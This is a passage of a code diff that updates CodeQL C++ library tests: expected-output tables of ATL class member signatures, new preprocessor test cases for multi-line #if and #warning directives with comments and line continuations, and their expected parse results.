+| atl.cpp:262:14:262:20 | AddHead | 0 | INARGTYPclass:0 |
+| atl.cpp:262:14:262:20 | AddHead | 0 | INARGTYPclass:0 |
+| atl.cpp:263:10:263:20 | AddHeadList | 0 | const CAtlList * |
+| atl.cpp:263:10:263:20 | AddHeadList | 0 | const CAtlList * |
+| atl.cpp:265:14:265:20 | AddTail | 0 | INARGTYPclass:0 |
+| atl.cpp:265:14:265:20 | AddTail | 0 | INARGTYPclass:0 |
+| atl.cpp:266:10:266:20 | AddTailList | 0 | const CAtlList * |
+| atl.cpp:266:10:266:20 | AddTailList | 0 | const CAtlList * |
+| atl.cpp:267:14:267:17 | Find | 0 | INARGTYPclass:0 |
+| atl.cpp:267:14:267:17 | Find | 0 | INARGTYPclass:0 |
+| atl.cpp:267:14:267:17 | Find | 1 | POSITION |
+| atl.cpp:267:14:267:17 | Find | 1 | POSITION |
+| atl.cpp:267:14:267:17 | Find | 1 | __POSITION * |
+| atl.cpp:267:14:267:17 | Find | 1 | __POSITION * |
+| atl.cpp:268:14:268:22 | FindIndex | 0 | size_t |
+| atl.cpp:268:14:268:22 | FindIndex | 0 | size_t |
+| atl.cpp:269:8:269:12 | GetAt | 0 | POSITION |
+| atl.cpp:269:8:269:12 | GetAt | 0 | POSITION |
+| atl.cpp:269:8:269:12 | GetAt | 0 | __POSITION * |
+| atl.cpp:269:8:269:12 | GetAt | 0 | __POSITION * |
+| atl.cpp:282:14:282:24 | InsertAfter | 0 | POSITION |
+| atl.cpp:282:14:282:24 | InsertAfter | 0 | POSITION |
+| atl.cpp:282:14:282:24 | InsertAfter | 0 | __POSITION * |
+| atl.cpp:282:14:282:24 | InsertAfter | 0 | __POSITION * |
+| atl.cpp:282:14:282:24 | InsertAfter | 1 | INARGTYPclass:0 |
+| atl.cpp:282:14:282:24 | InsertAfter | 1 | INARGTYPclass:0 |
+| atl.cpp:283:14:283:25 | InsertBefore | 0 | POSITION |
+| atl.cpp:283:14:283:25 | InsertBefore | 0 | POSITION |
+| atl.cpp:283:14:283:25 | InsertBefore | 0 | __POSITION * |
+| atl.cpp:283:14:283:25 | InsertBefore | 0 | __POSITION * |
+| atl.cpp:283:14:283:25 | InsertBefore | 1 | INARGTYPclass:0 |
+| atl.cpp:283:14:283:25 | InsertBefore | 1 | INARGTYPclass:0 |
+| atl.cpp:293:10:293:14 | SetAt | 0 | POSITION |
+| atl.cpp:293:10:293:14 | SetAt | 0 | POSITION |
+| atl.cpp:293:10:293:14 | SetAt | 0 | __POSITION * |
+| atl.cpp:293:10:293:14 | SetAt | 0 | __POSITION * |
+| atl.cpp:293:10:293:14 | SetAt | 1 | INARGTYPclass:0 |
+| atl.cpp:293:10:293:14 | SetAt | 1 | INARGTYPclass:0 |
+| atl.cpp:403:10:403:10 | operator= | 0 | IUnknown && |
+| atl.cpp:403:10:403:10 | operator= | 0 | const IUnknown & |
+| atl.cpp:405:10:405:10 | operator= | 0 | ISequentialStream && |
+| atl.cpp:405:10:405:10 | operator= | 0 | const ISequentialStream & |
+| atl.cpp:407:10:407:10 | operator= | 0 | IStream && |
+| atl.cpp:407:10:407:10 | operator= | 0 | const IStream & |
+| atl.cpp:409:10:409:10 | operator= | 0 | const CComBSTR & |
+| atl.cpp:411:5:411:12 | CComBSTR | 0 | const CComBSTR & |
+| atl.cpp:412:5:412:12 | CComBSTR | 0 | int |
+| atl.cpp:413:5:413:12 | CComBSTR | 0 | int |
+| atl.cpp:413:5:413:12 | CComBSTR | 1 | LPCOLESTR |
+| atl.cpp:413:5:413:12 | CComBSTR | 1 | const wchar_t * |
+| atl.cpp:414:5:414:12 | CComBSTR | 0 | int |
+| atl.cpp:414:5:414:12 | CComBSTR | 1 | LPCSTR |
+| atl.cpp:414:5:414:12 | CComBSTR | 1 | const char * |
+| atl.cpp:415:5:415:12 | CComBSTR | 0 | LPCOLESTR |
+| atl.cpp:415:5:415:12 | CComBSTR | 0 | const wchar_t * |
+| atl.cpp:416:5:416:12 | CComBSTR | 0 | LPCSTR |
+| atl.cpp:416:5:416:12 | CComBSTR | 0 | const char * |
+| atl.cpp:417:5:417:12 | CComBSTR | 0 | CComBSTR && |
+| atl.cpp:420:13:420:18 | Append | 0 | const CComBSTR & |
+| atl.cpp:421:13:421:18 | Append | 0 | wchar_t |
+| atl.cpp:422:13:422:18 | Append | 0 | char |
+| atl.cpp:423:13:423:18 | Append | 0 | LPCOLESTR |
+| atl.cpp:423:13:423:18 | Append | 0 | const wchar_t * |
+| atl.cpp:424:13:424:18 | Append | 0 | LPCSTR |
+| atl.cpp:424:13:424:18 | Append | 0 | const char * |
+| atl.cpp:425:13:425:18 | Append | 0 | LPCOLESTR |
+| atl.cpp:425:13:425:18 | Append | 0 | const wchar_t * |
+| atl.cpp:425:13:425:18 | Append | 1 | int |
+| atl.cpp:426:13:426:22 | AppendBSTR | 0 | BSTR |
+| atl.cpp:426:13:426:22 | AppendBSTR | 0 | wchar_t * |
+| atl.cpp:427:13:427:23 | AppendBytes | 0 | const char * |
+| atl.cpp:427:13:427:23 | AppendBytes | 1 | int |
+| atl.cpp:428:13:428:23 | ArrayToBSTR | 0 | const SAFEARRAY * |
+| atl.cpp:428:13:428:23 | ArrayToBSTR | 0 | const tagSAFEARRAY * |
+| atl.cpp:429:13:429:22 | AssignBSTR | 0 | const BSTR |
+| atl.cpp:429:13:429:22 | AssignBSTR | 0 | const wchar_t * |
+| atl.cpp:430:10:430:15 | Attach | 0 | BSTR |
+| atl.cpp:430:10:430:15 | Attach | 0 | wchar_t * |
+| atl.cpp:431:13:431:23 | BSTRToArray | 0 | LPSAFEARRAY * |
+| atl.cpp:431:13:431:23 | BSTRToArray | 0 | tagSAFEARRAY ** |
+| atl.cpp:434:13:434:18 | CopyTo | 0 | BSTR * |
+| atl.cpp:434:13:434:18 | CopyTo | 0 | wchar_t ** |
+| atl.cpp:436:13:436:18 | CopyTo | 0 | VARIANT * |
+| atl.cpp:436:13:436:18 | CopyTo | 0 | tagVARIANT * |
+| atl.cpp:440:10:440:19 | LoadString | 0 | HINSTANCE |
+| atl.cpp:440:10:440:19 | LoadString | 0 | void * |
+| atl.cpp:440:10:440:19 | LoadString | 1 | UINT |
+| atl.cpp:440:10:440:19 | LoadString | 1 | unsigned int |
+| atl.cpp:441:10:441:19 | LoadString | 0 | UINT |
+| atl.cpp:441:10:441:19 | LoadString | 0 | unsigned int |
+| atl.cpp:442:13:442:26 | ReadFromStream | 0 | IStream * |
+| atl.cpp:444:13:444:25 | WriteToStream | 0 | IStream * |
+| atl.cpp:449:15:449:24 | operator+= | 0 | const CComBSTR & |
+| atl.cpp:450:15:450:24 | operator+= | 0 | LPCOLESTR |
+| atl.cpp:450:15:450:24 | operator+= | 0 | const wchar_t * |
+| atl.cpp:540:5:540:17 | CComSafeArray | 0 | const SAFEARRAY * |
+| atl.cpp:540:5:540:17 | CComSafeArray | 0 | const tagSAFEARRAY * |
+| atl.cpp:544:13:544:15 | Add | 0 | const SAFEARRAY * |
+| atl.cpp:544:13:544:15 | Add | 0 | const tagSAFEARRAY * |
+| atl.cpp:546:13:546:15 | Add | 0 | const class:0 & |
+| atl.cpp:546:13:546:15 | Add | 1 | BOOL |
+| atl.cpp:546:13:546:15 | Add | 1 | bool |
+| atl.cpp:554:8:554:12 | GetAt | 0 | LONG |
+| atl.cpp:554:8:554:12 | GetAt | 0 | long |
+| atl.cpp:565:13:565:17 | SetAt | 0 | LONG |
+| atl.cpp:565:13:565:17 | SetAt | 0 | long |
+| atl.cpp:565:13:565:17 | SetAt | 1 | const class:0 & |
+| atl.cpp:565:13:565:17 | SetAt | 2 | BOOL |
+| atl.cpp:565:13:565:17 | SetAt | 2 | bool |
+| atl.cpp:567:8:567:17 | operator[] | 0 | long |
+| atl.cpp:568:8:568:17 | operator[] | 0 | int |
+| atl.cpp:612:5:612:10 | CPathT | 0 | PCXSTR |
+| atl.cpp:612:5:612:10 | CPathT | 0 | class:0 |
+| atl.cpp:613:5:613:10 | CPathT | 0 | const CPathT & |
+| atl.cpp:617:10:617:21 | AddExtension | 0 | PCXSTR |
+| atl.cpp:617:10:617:21 | AddExtension | 0 | class:0 |
+| atl.cpp:618:10:618:15 | Append | 0 | PCXSTR |
+| atl.cpp:618:10:618:15 | Append | 0 | class:0 |
+| atl.cpp:621:10:621:16 | Combine | 0 | PCXSTR |
+| atl.cpp:621:10:621:16 | Combine | 0 | class:0 |
+| atl.cpp:621:10:621:16 | Combine | 1 | PCXSTR |
+| atl.cpp:621:10:621:16 | Combine | 1 | class:0 |
+| atl.cpp:622:24:622:35 | CommonPrefix | 0 | PCXSTR |
+| atl.cpp:622:24:622:35 | CommonPrefix | 0 | class:0 |
+| atl.cpp:659:25:659:34 | operator+= | 0 | PCXSTR |
+| atl.cpp:659:25:659:34 | operator+= | 0 | class:0 |
+| atl.cpp:719:10:719:12 | Add | 0 | const class:0 & |
+| atl.cpp:720:9:720:12 | Find | 0 | const class:0 & |
+| atl.cpp:731:8:731:17 | operator[] | 0 | int |
+| atl.cpp:732:23:732:31 | operator= | 0 | const CSimpleArray & |
+| atl.cpp:765:10:765:12 | Add | 0 | const class:0 & |
+| atl.cpp:765:10:765:12 | Add | 1 | const class:1 & |
+| atl.cpp:766:9:766:15 | FindKey | 0 | const class:0 & |
+| atl.cpp:767:9:767:15 | FindVal | 0 | const class:1 & |
+| atl.cpp:770:11:770:20 | GetValueAt | 0 | int |
+| atl.cpp:771:10:771:15 | Lookup | 0 | const class:0 & |
+| atl.cpp:775:10:775:22 | ReverseLookup | 0 | const class:1 & |
+| atl.cpp:776:10:776:14 | SetAt | 0 | const class:0 & |
+| atl.cpp:776:10:776:14 | SetAt | 1 | const class:1 & |
+| atl.cpp:777:10:777:19 | SetAtIndex | 0 | int |
+| atl.cpp:777:10:777:19 | SetAtIndex | 1 | const class:0 & |
+| atl.cpp:777:10:777:19 | SetAtIndex | 2 | const class:1 & |
+| atl.cpp:816:11:816:19 | operator= | 0 | const CUrl & |
+| atl.cpp:818:5:818:8 | CUrl | 0 | const CUrl & |
+| atl.cpp:821:17:821:28 | Canonicalize | 0 | DWORD |
+| atl.cpp:821:17:821:28 | Canonicalize | 0 | unsigned long |
+| atl.cpp:824:10:824:17 | CrackUrl | 0 | LPCTSTR |
+| atl.cpp:824:10:824:17 | CrackUrl | 0 | const char * |
+| atl.cpp:824:10:824:17 | CrackUrl | 1 | DWORD |
+| atl.cpp:824:10:824:17 | CrackUrl | 1 | unsigned long |
+| atl.cpp:825:17:825:25 | CreateUrl | 0 | LPTSTR |
+| atl.cpp:825:17:825:25 | CreateUrl | 0 | char * |
+| atl.cpp:825:17:825:25 | CreateUrl | 1 | DWORD * |
+| atl.cpp:825:17:825:25 | CreateUrl | 1 | unsigned long * |
+| atl.cpp:825:17:825:25 | CreateUrl | 2 | DWORD |
+| atl.cpp:825:17:825:25 | CreateUrl | 2 | unsigned long |
+| atl.cpp:842:17:842:28 | SetExtraInfo | 0 | LPCTSTR |
+| atl.cpp:842:17:842:28 | SetExtraInfo | 0 | const char * |
+| atl.cpp:843:17:843:27 | SetHostName | 0 | LPCTSTR |
+| atl.cpp:843:17:843:27 | SetHostName | 0 | const char * |
+| atl.cpp:844:17:844:27 | SetPassword | 0 | LPCTSTR |
+| atl.cpp:844:17:844:27 | SetPassword | 0 | const char * |
+| atl.cpp:845:17:845:29 | SetPortNumber | 0 | ATL_URL_PORT |
+| atl.cpp:845:17:845:29 | SetPortNumber | 0 | unsigned short |
+| atl.cpp:846:17:846:25 | SetScheme | 0 | ATL_URL_SCHEME |
+| atl.cpp:847:17:847:29 | SetSchemeName | 0 | LPCTSTR |
+| atl.cpp:847:17:847:29 | SetSchemeName | 0 | const char * |
+| atl.cpp:848:17:848:26 | SetUrlPath | 0 | LPCTSTR |
+| atl.cpp:848:17:848:26 | SetUrlPath | 0 | const char * |
+| atl.cpp:849:17:849:27 | SetUserName | 0 | LPCTSTR |
+| atl.cpp:849:17:849:27 | SetUserName | 0 | const char * |
+| atl.cpp:904:10:904:10 | operator= | 0 | IAtlStringMgr && |
+| atl.cpp:904:10:904:10 | operator= | 0 | const IAtlStringMgr & |
+| atl.cpp:915:5:915:18 | CSimpleStringT | 0 | const XCHAR * |
+| atl.cpp:915:5:915:18 | CSimpleStringT | 0 | const char * |
+| atl.cpp:915:5:915:18 | CSimpleStringT | 1 | int |
+| atl.cpp:915:5:915:18 | CSimpleStringT | 2 | IAtlStringMgr * |
+| atl.cpp:916:5:916:18 | CSimpleStringT | 0 | PCXSTR |
+| atl.cpp:916:5:916:18 | CSimpleStringT | 0 | const class:0 * |
+| atl.cpp:916:5:916:18 | CSimpleStringT | 1 | IAtlStringMgr * |
+| atl.cpp:917:5:917:18 | CSimpleStringT | 0 | const CSimpleStringT & |
+| atl.cpp:921:10:921:15 | Append | 0 | const CSimpleStringT & |
+| atl.cpp:922:10:922:15 | Append | 0 | PCXSTR |
+| atl.cpp:922:10:922:15 | Append | 0 | const class:0 * |
+| atl.cpp:922:10:922:15 | Append | 1 | int |
+| atl.cpp:923:10:923:15 | Append | 0 | PCXSTR |
+| atl.cpp:923:10:923:15 | Append | 0 | const class:0 * |
+| atl.cpp:927:17:927:25 | CopyChars | 0 | XCHAR * |
+| atl.cpp:927:17:927:25 | CopyChars | 0 | char * |
+| atl.cpp:927:17:927:25 | CopyChars | 1 | const XCHAR * |
+| atl.cpp:927:17:927:25 | CopyChars | 1 | const char * |
+| atl.cpp:927:17:927:25 | CopyChars | 2 | int |
+| atl.cpp:928:17:928:25 | CopyChars | 0 | XCHAR * |
+| atl.cpp:928:17:928:25 | CopyChars | 0 | char * |
+| atl.cpp:928:17:928:25 | CopyChars | 1 | size_t |
+| atl.cpp:928:17:928:25 | CopyChars | 2 | const XCHAR * |
+| atl.cpp:928:17:928:25 | CopyChars | 2 | const char * |
+| atl.cpp:928:17:928:25 | CopyChars | 3 | int |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | 0 | XCHAR * |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | 0 | char * |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | 1 | const XCHAR * |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | 1 | const char * |
+| atl.cpp:929:17:929:35 | CopyCharsOverlapped | 2 | int |
+| atl.cpp:931:11:931:15 | GetAt | 0 | int |
+| atl.cpp:932:11:932:19 | GetBuffer | 0 | int |
+| atl.cpp:934:11:934:28 | GetBufferSetLength | 0 | int |
+| atl.cpp:938:10:938:14 | SetAt | 0 | int |
+| atl.cpp:938:10:938:14 | SetAt | 1 | XCHAR |
+| atl.cpp:938:10:938:14 | SetAt | 1 | char |
+| atl.cpp:939:10:939:18 | SetString | 0 | PCXSTR |
+| atl.cpp:939:10:939:18 | SetString | 0 | const class:0 * |
+| atl.cpp:939:10:939:18 | SetString | 1 | int |
+| atl.cpp:940:10:940:18 | SetString | 0 | PCXSTR |
+| atl.cpp:940:10:940:18 | SetString | 0 | const class:0 * |
+| atl.cpp:942:11:942:20 | operator[] | 0 | int |
+| atl.cpp:1036:5:1036:12 | CStringT | 0 | const VARIANT & |
+| atl.cpp:1036:5:1036:12 | CStringT | 0 | const tagVARIANT & |
+| atl.cpp:1037:5:1037:12 | CStringT | 0 | const VARIANT & |
+| atl.cpp:1037:5:1037:12 | CStringT | 0 | const tagVARIANT & |
+| atl.cpp:1037:5:1037:12 | CStringT | 1 | IAtlStringMgr * |
+| atl.cpp:1038:5:1038:12 | CStringT | 0 | const CStringT & |
+| atl.cpp:1042:5:1042:12 | CStringT | 0 | LPCSTR |
+| atl.cpp:1042:5:1042:12 | CStringT | 0 | const char * |
+| atl.cpp:1042:5:1042:12 | CStringT | 1 | IAtlStringMgr * |
+| atl.cpp:1043:5:1043:12 | CStringT | 0 | LPCWSTR |
+| atl.cpp:1043:5:1043:12 | CStringT | 0 | const wchar_t * |
+| atl.cpp:1043:5:1043:12 | CStringT | 1 | IAtlStringMgr * |
+| atl.cpp:1045:5:1045:12 | CStringT | 0 | char * |
+| atl.cpp:1046:5:1046:12 | CStringT | 0 | unsigned char * |
+| atl.cpp:1047:5:1047:12 | CStringT | 0 | wchar_t * |
+| atl.cpp:1049:5:1049:12 | CStringT | 0 | char |
+| atl.cpp:1049:5:1049:12 | CStringT | 1 | int |
+| atl.cpp:1050:5:1050:12 | CStringT | 0 | wchar_t |
+| atl.cpp:1050:5:1050:12 | CStringT | 1 | int |
+| atl.cpp:1061:10:1061:21 | AppendFormat | 0 | PCXSTR |
+| atl.cpp:1061:10:1061:21 | AppendFormat | 1 | ... |
+| atl.cpp:1062:10:1062:21 | AppendFormat | 0 | UINT |
+| atl.cpp:1062:10:1062:21 | AppendFormat | 0 | unsigned int |
+| atl.cpp:1062:10:1062:21 | AppendFormat | 1 | ... |
+| atl.cpp:1070:9:1070:14 | Insert | 0 | int |
+| atl.cpp:1070:9:1070:14 | Insert | 1 | PCXSTR |
+| atl.cpp:1071:9:1071:14 | Insert | 0 | int |
+| atl.cpp:1071:9:1071:14 | Insert | 1 | XCHAR |
+| atl.cpp:1071:9:1071:14 | Insert | 1 | class:0 |
+| atl.cpp:1072:14:1072:17 | Left | 0 | int |
+| atl.cpp:1075:10:1075:19 | LoadString | 0 | UINT |
+| atl.cpp:1075:10:1075:19 | LoadString | 0 | unsigned int |
+| atl.cpp:1079:14:1079:16 | Mid | 0 | int |
+| atl.cpp:1079:14:1079:16 | Mid | 1 | int |
+| atl.cpp:1081:9:1081:15 | Replace | 0 | PCXSTR |
+| atl.cpp:1081:9:1081:15 | Replace | 1 | PCXSTR |
+| atl.cpp:1082:9:1082:15 | Replace | 0 | XCHAR |
+| atl.cpp:1082:9:1082:15 | Replace | 0 | class:0 |
+| atl.cpp:1082:9:1082:15 | Replace | 1 | XCHAR |
+| atl.cpp:1082:9:1082:15 | Replace | 1 | class:0 |
+| atl.cpp:1083:14:1083:18 | Right | 0 | int |
+| atl.cpp:1084:10:1084:21 | SetSysString | 0 | BSTR * |
+| atl.cpp:1084:10:1084:21 | SetSysString | 0 | wchar_t ** |
+| atl.cpp:1085:14:1085:26 | SpanExcluding | 0 | PCXSTR |
+| atl.cpp:1086:14:1086:26 | SpanIncluding | 0 | PCXSTR |
+| atl.cpp:1087:14:1087:21 | Tokenize | 0 | PCXSTR |
+| atl.cpp:1087:14:1087:21 | Tokenize | 1 | int & |
+| atl.cpp:1088:15:1088:18 | Trim | 0 | XCHAR |
+| atl.cpp:1088:15:1088:18 | Trim | 0 | class:0 |
+| atl.cpp:1089:15:1089:18 | Trim | 0 | PCXSTR |
+| atl.cpp:1091:15:1091:22 | TrimLeft | 0 | XCHAR |
+| atl.cpp:1091:15:1091:22 | TrimLeft | 0 | class:0 |
+| atl.cpp:1092:15:1092:22 | TrimLeft | 0 | PCXSTR |
+| atl.cpp:1094:15:1094:23 | TrimRight | 0 | XCHAR |
+| atl.cpp:1094:15:1094:23 | TrimRight | 0 | class:0 |
+| atl.cpp:1095:15:1095:23 | TrimRight | 0 | PCXSTR |
+| atl.cpp:1215:10:1215:10 | operator= | 0 | CStringData && |
+| atl.cpp:1215:10:1215:10 | operator= | 0 | const CStringData & |
+| atl.cpp:1231:5:1231:12 | CStrBufT | 0 | StringType & |
+| atl.cpp:1231:5:1231:12 | CStrBufT | 1 | int |
+| atl.cpp:1231:5:1231:12 | CStrBufT | 2 | DWORD |
+| atl.cpp:1231:5:1231:12 | CStrBufT | 2 | unsigned long |
 | bsd.cpp:6:8:6:8 | operator= | 0 | const sockaddr & |
 | bsd.cpp:6:8:6:8 | operator= | 0 | sockaddr && |
 | bsd.cpp:12:5:12:10 | accept | 0 | int |
diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp
index 70fada58da98..8ff6ff9a3d38 100644
--- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp
+++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp
@@ -10,7 +10,7 @@
 // semmle-extractor-options: -I${testdir}/more_headers/ "-U SOME_SYM"
 #undef BAR
 #define SCARY(a,aa,aaah) /* we ignore a */ (aa /* but we take aa */) /* and we ignore aaa */
-#define LOG(fmt, ...)  printf("Warning: %s", fmt, __VA__ARGS__)  
+#define LOG(fmt, ...)  printf("Warning: %s", fmt, __VA__ARGS__)
 #include "pp.h"
 
 #if 0
@@ -59,7 +59,7 @@ class templateClassContext
 	#else
 		#define IN_TEMPLATE
 	#endif
-	
+
 	static int val;
 };
 
@@ -71,7 +71,128 @@ templateClassContext<int> tcci;
 
 #define BAR
 
-#if defined(BAR) && \
+#if defined(BAR) &&\
   defined(BAR)
 #warning BAR defined
 #endif
+
+#if defined MACROTHREE/**hello*/ && /*world*/\
+/*hw*/ (defined(MACROONE)) /* macroone */
+#endif
+
+#if defined SIMPLE_COMMENT  //this comment \
+     (defined(SIMPLE_COMMENT)) spans over multiple lines
+#endif
+
+#if defined(FOO) &&\
+    defined(BAR)
+#define CONDITIONAL_MACRO_1 1
+#endif
+
+#if defined(FOO) && \
+    defined(BAR) && \
+    !defined(BAZ)
+#define CONDITIONAL_MACRO_2 2
+#endif
+
+#define FOO 8
+#define BAR 2
+#define BAZ 4
+#if ((FOO / BAR) \
+   == 4) && ((BAZ \
+   * QUX) \
+   > 10)
+#define CONDITIONAL_MACRO_3 3
+#endif
+
+// Testing \t spaced PreprocessorIf
+#if defined(FOO)	&&	\
+	defined(BAR)	&&	\
+	defined(BAZ)
+#define CONDITIONAL_MACRO_4 4
+#endif
+
+
+#if defined /* //test */ SIMPLE_COMMENT   //this comment \
+     (defined(SIMPLE_COMMENT)) spans over multiple lines
+#endif
+
+#warning foo \
+
+#warning foo \
+\
+/* a comment */
+
+#warning foo \
+\
+
+#warning foo \
+\
+// a comment
+
+
+#define FOO 8
+#define BAR 2
+#define BAZ 4
+#if ((FOO / BAR) \
+   == 4) && ((BAZ \
+    /** comment */ \
+   * QUX) \
+   /** comment */ \
+   > 10)
+#define CONDITIONAL_MACRO_3 3
+#endif
+
+#define X 1
+#define Y 2
+#if defined(X) && \
+    /*this is a comment*/ defined(Y) \
+    // another comment
+#endif
+
+#warning FOO\
+	 \
+	 \
+	 \
+BAR
+
+
+#warning foo \
+\
+/* comment */     \
+\
+
+
+#if/** */A/* ... */&&B
+#endif
+
+
+#if/** */  /**/    A
+#endif
+
+#if \
+\
+A && B
+#endif
+
+
+#ifdef /*
+
+
+
+*/ FOOBAR
+#warning a
+#else
+#warning b
+#endif
+
+
+#if /*
+
+//test
+
+*/ FOOBAR
+#endif
+
+#if/*...*//*...*/A
+#endif
\ No newline at end of file
diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected
index d1b64ff7bd92..7c448ba6550e 100644
--- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected
+++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected
@@ -33,17 +33,64 @@
 | pp.cpp:0:0:0:0 | pp.cpp | 50 | 2 | 50 | 48 | Macro | MACRO_TEMPLATECLASSCONTEXT_REFERENCED | 5 |
 | pp.cpp:0:0:0:0 | pp.cpp | 54 | 3 | 54 | 39 | Macro | MACRO_TEMPLATEMETHODCONTEXT | 6 |
 | pp.cpp:0:0:0:0 | pp.cpp | 57 | 1 | 57 | 21 | PreprocessorIfdef | INSTANTIATION | N/A |
-| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse |  | N/A |
 | pp.cpp:0:0:0:0 | pp.cpp | 60 | 3 | 60 | 21 | Macro | IN_TEMPLATE |  |
-| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif |  | N/A |
 | pp.cpp:0:0:0:0 | pp.cpp | 69 | 1 | 69 | 21 | Macro | INSTANTIATION |  |
 | pp.cpp:0:0:0:0 | pp.cpp | 72 | 1 | 72 | 11 | Macro | BAR |  |
-| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 74 | 21 | PreprocessorIf | defined(BAR) && \\ | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 14 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A |
 | pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A |
 | pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 26 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 83 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 16 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 90 | 1 | 90 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 17 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 96 | 1 | 96 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 98 | 1 | 98 | 13 | Macro | FOO | 8 |
+| pp.cpp:0:0:0:0 | pp.cpp | 99 | 1 | 99 | 13 | Macro | BAR | 2 |
+| pp.cpp:0:0:0:0 | pp.cpp | 100 | 1 | 100 | 13 | Macro | BAZ | 4 |
+| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 106 | 1 | 106 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 13 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 112 | 1 | 112 | 29 | Macro | CONDITIONAL_MACRO_4 | 4 |
+| pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 39 | PreprocessorIf | defined SIMPLE_COMMENT | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 118 | 1 | 118 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 120 | 1 | 120 | 12 | PreprocessorWarning | foo | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 122 | 1 | 122 | 12 | PreprocessorWarning | foo | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 126 | 1 | 126 | 12 | PreprocessorWarning | foo | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 129 | 1 | 129 | 12 | PreprocessorWarning | foo | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 134 | 1 | 134 | 13 | Macro | FOO | 8 |
+| pp.cpp:0:0:0:0 | pp.cpp | 135 | 1 | 135 | 13 | Macro | BAR | 2 |
+| pp.cpp:0:0:0:0 | pp.cpp | 136 | 1 | 136 | 13 | Macro | BAZ | 4 |
+| pp.cpp:0:0:0:0 | pp.cpp | 137 | 1 | 142 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 144 | 1 | 144 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 146 | 1 | 146 | 11 | Macro | X | 1 |
+| pp.cpp:0:0:0:0 | pp.cpp | 147 | 1 | 147 | 11 | Macro | Y | 2 |
+| pp.cpp:0:0:0:0 | pp.cpp | 148 | 1 | 149 | 36 | PreprocessorIf | defined(X) && defined(Y) | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 151 | 1 | 151 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOO BAR | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 12 | PreprocessorWarning | foo | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 166 | 1 | 166 | 22 | PreprocessorIf | A &&B | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 167 | 1 | 167 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 170 | 1 | 170 | 20 | PreprocessorIf | A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 171 | 1 | 171 | 6 | PreprocessorEndif | N/A | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 173 | 1 | 175 | 6 | PreprocessorIf | A && B | N/A |
+| pp.cpp:0:0:0:0 | pp.cpp | 176 | 1 | 176 | 6 | PreprocessorEndif | N/A | N/A |
